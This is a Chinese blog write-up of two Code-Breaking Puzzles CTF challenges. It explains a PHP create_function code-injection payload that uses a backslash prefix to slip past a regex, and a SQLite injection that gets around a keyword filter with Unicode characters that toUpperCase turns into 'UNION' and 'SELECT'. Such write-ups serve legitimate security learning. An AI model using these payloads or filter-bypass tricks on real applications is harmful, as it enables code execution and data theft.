Code-Breaking Puzzles
function
审计代码:1
2
3
4
5
6
7
8
9
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
??是PHP7版本的新特性,它与?:的区别在哪里呢
??
$b = $a?? $c ;相当于$b= isset($a)?$a:$c;
?:
$b = $a?$a: $c 则是 $b = !empty($a) ? $a:$c;
所以要绕过正则表达式以得到命令执行
这里可以利用create_function
PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
create_function用法
create_function ( string $args , string $code ) : string
args
The function arguments.
code
The function code.返回值
Returns a unique function name as a string, or FALSE on error.
我们可以利用\
绕过,也就是%5c
,payload:action=%5ccreate_function&arg=;}phpinfo();//
加\
可以成功的原因是:
在名称前加上前缀 \ 表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此
例子:1
2
3
4
5
6
7
8
9
10
namespace A\B\C;
/* 这个函数是 A\B\C\fopen */
function fopen() {
/* ... */
$f = \fopen(...); // 调用全局的fopen函数
return $f;
}
因为禁用了系统命令函数,所以可以利用scandir()
,获取目录下文件:arg=;}print_r (scandir("/var/www/"));//
结果:
Array ( [0] =. [1] =.. [2] =flag_h0w2execute_arb1trary_c0de [3] =html )
所以可以得到flag:arg=;}readfile("/var/www/flag_h0w2execute_arb1trary_c0de");//
或者arg=;}echo(file_get_contents("/var/www/flag_h0w2execute_arb1trary_c0de"));//
nodechr
/source
查看源码,一个基于koa
框架的site,关键代码如下:
1 | function safeKeyword(keyword) { |
因为sql是基于sqlite,所以#
用不了,要绕过union
和select
的限制,这时注意到toUpperCase()
,他将输入的字符串转化为大写,但是js有一个一直未解决的问题就是对于Unicode字符的处理,这里有一篇文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
谈到了"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。
,所以可以构造:1
2username:0
password:0' unıon ſelect 1,flag,3 from flags where '1'='1
reference:
https://www.jianshu.com/p/748749d38fb8
http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/
Author: damn1t
Link: http://microvorld.com/2019/05/20/vulnerable/Code-Breaking Puzzles/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.